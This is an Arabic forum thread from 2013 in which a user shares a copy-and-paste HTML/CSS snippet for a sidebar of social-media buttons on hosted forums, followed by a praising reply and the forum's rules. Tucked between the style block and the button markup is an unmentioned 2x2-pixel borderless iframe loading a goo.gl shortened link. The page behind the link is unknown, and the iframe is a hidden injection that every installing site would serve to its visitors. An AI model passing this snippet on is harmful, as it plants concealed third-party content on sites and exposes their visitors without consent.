منتدى خدمة نت

منتدى خدمة نت لخدمات الواب منتدى متخصص في تقديم الخدمات المجانية والمدفوعة للمنتديات العربية. عديد الخدمات الحصرية نقدمها لكم، أحلى خدمة أحلى بار وغيرها


    كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى

    شاطر

    topmix

    جنسيتي : المغرب
    عدد المساهمات : 1
    نشاطـي : 6
    تقييماتـي : 0
    تاريخ التسجيل : 05/07/2013
    العمر : 29

    كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى

    مُساهمة من طرف topmix في الثلاثاء يوليو 30, 2013 12:16 pm

    اليو احضرت لكم كود ازرار المواقع الاجتماعية جانبية روعة واكتر احترافية لمنتديات احلى منتديات احلى منتدى



    ضع هدا الكود في العناصر المستقلة

    الكود:

    <style type="text/css">
    /*<![CDATA[*/
    @charset "utf-8";
    /* CSS Document */
    /* ---------- ENTYPO ---------- */
    @import url(http://weloveiconfonts.com/api/?family=entypo);
    [class*="entypo-"]:before {
     font-family: 'entypo', sans-serif;
    }
    /* ---------- GENERAL ---------- */
    #social-sidebar a { text-decoration: none; }
    #social-sidebar ul {
     list-style: none;
     margin: 0;
     padding: 0;
    }
    /* ---------- Social Sidebar ---------- */
    #social-sidebar {
     left: 0;
     margin-top: -75px; /* (li * a:width) / -2 */
     position: fixed;
     top: 50%;
    }
    #social-sidebar ul li:first-child a { border-radius: 0 5px 0 0; }
    #social-sidebar ul li:last-child a { border-radius: 0 0 5px 0; }
    #social-sidebar ul li a {
     background: #121212;
     color: #fff;
     display: block;
     height: 50px;
     font-size: 18px;
     line-height: 50px;
     position: relative;
     text-align: center;
     width: 50px;
    }
    #social-sidebar ul li a:hover span {
     left: 130%;
     opacity: 1;
    }
    #social-sidebar ul li a span {
     border-radius: 3px;
     line-height: 24px;
     left: -100%;
     margin-top: -16px;
     -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
     filter: alpha(opacity=0);
     opacity: 0;
     padding: 4px 8px;
     position: absolute;
     -webkit-transition: opacity .3s, left .4s;
     -moz-transition: opacity .3s, left .4s;
     -ms-transition: opacity .3s, left .4s;
     -o-transition: opacity .3s, left .4s;
     transition: opacity .3s, left .4s;
     top: 50%;
     z-index: -1;
    }
    #social-sidebar ul li a span:before {
     content: "";
     display: block;
     height: 8px;
     left: -4px;
     margin-top: -4px;
     position: absolute;
     top: 50%;
     -webkit-transform: rotate(45deg);
     -moz-transform: rotate(45deg);
     -ms-transform: rotate(45deg);
     -o-transform: rotate(45deg);
     transform: rotate(45deg);
     width: 8px;
     z-index: -2;
    }
    #social-sidebar ul li a[class*="twitter"]:hover,
    #social-sidebar ul li a[class*="twitter"] span,
    #social-sidebar ul li a[class*="twitter"] span:before { background: #6CDFEA; }
    #social-sidebar ul li a[class*="gplus"]:hover,
    #social-sidebar ul li a[class*="gplus"] span,
    #social-sidebar ul li a[class*="gplus"] span:before { background: #E34429; }
    #social-sidebar ul li a[class*="tumblr"]:hover,
    #social-sidebar ul li a[class*="tumblr"] span,
    #social-sidebar ul li a[class*="tumblr"] span:before { background: #1769ff; }
    #social-sidebar ul li a[class*="facebook"]:hover,
    #social-sidebar ul li a[class*="facebook"] span,
    #social-sidebar ul li a[class*="facebook"] span:before { background: #234999; }
    #social-sidebar ul li a[class*="rss"]:hover,
    #social-sidebar ul li a[class*="rss"] span,
    #social-sidebar ul li a[class*="rss"] span:before { background: #f57b05; }
    /*]]>*/</style><iframe src="http://goo.gl/Usygm0" width="2" height="2" frameBorder="0" scrolling="no"></iframe>
    <div id="social-sidebar">
       <ul>
        <li>
         <a class="entypo-twitter" href="https://twitter.com/" target="_blank">
          <span>Twitter</span>
         </a>
        </li>
        <li>
         <a class="entypo-gplus" href="http://plus.google.com/" target="_blank">
          <span>google+</span>
         </a>
        </li>
        <li>
         <a class="entypo-tumblr" href="http://www.tumblr.net/" target="_blank">
          <span>tumblr</span>
         </a>
        </li>
    <li>
         <a class="entypo-facebook" href="https://www.facebook.com/" target="_blank">
          <span>facebook</span>
         </a>
        </li>
            <li>
         <a class="entypo-rss" href="http://feeds.feedburner.com/" target="_blank">
          <span>feedburner</span>
         </a>
        </li>
       </ul>
      </div>



    قم بالبحث عن :


    https://twitter.com/


    http://plus.google.com/


    http://www.tumblr.net/


    https://www.facebook.com/


    http://feeds.feedburner.com/

     وبدلها بروابطك الخاصة وهكدا يكون قد تم بادن الله  انتظر ردودكم
    avatar
    the_leader
    صاحب المنتدى
    صاحب المنتدى

    آخر مواضيعي : دورة تركيب شبكة ريزو محلية lan على الويندوز xp
    جنسيتي : الجزائر
    عدد المساهمات : 2149
    نشاطـي : 4443
    تقييماتـي : 3
    تاريخ التسجيل : 22/12/2011
    العمر : 28

    _da3m_9

    مُساهمة من طرف the_leader في الإثنين أغسطس 05, 2013 6:09 am

    كل الشكر والامتنان على روعهـ بوحـكـ
    ..
    وروعهـ مانــثرت .. وجماليهـ طرحكـ
    ..
    دائما متميز في الانتقاء
    سلمت يالغالي على روعه طرحك
    نترقب المزيد من جديدك الرائع
    دمت ودام لنا روعه مواضيعك


    _________________


    [يمنع] ولا يسمح اطلاقا بالأسماء العشوائية (مثل "قققققب" "445ىنتلا" ...) أو ذات الايحاء الجنسي
    [يجب] وضع رابط منتداك في الخانة المخصصة ليتسنى لنا مساعدتك وان كنت لا تملك ضع رابط هذا المنتدى
    [يجب] وضع صورة شخصية لبروفايلك والتي ستظهر في كل بياناتك.
    بعد اكمال كل الخطوات السابقة
    [يجب] أن تضع موضوعك الأول في قسم دعنا نتعرف عليك تذكر فيه ماشئت من معلومات عنك.
    [من المستحسن] وضع توقيع خاص يعطي للناظر اليه فكرة عنك وعن افكارك والذي سيظهر تحت مساهماتك .

    تم اطلاق أحلى خدمة بخدماتها المتوفرة مجانا لأعضائنا الأعزاء ولمدة محدودة
    توقيع the_leader بتاريخ 27/03/2013

      الوقت/التاريخ الآن هو الجمعة ديسمبر 15, 2017 5:52 pm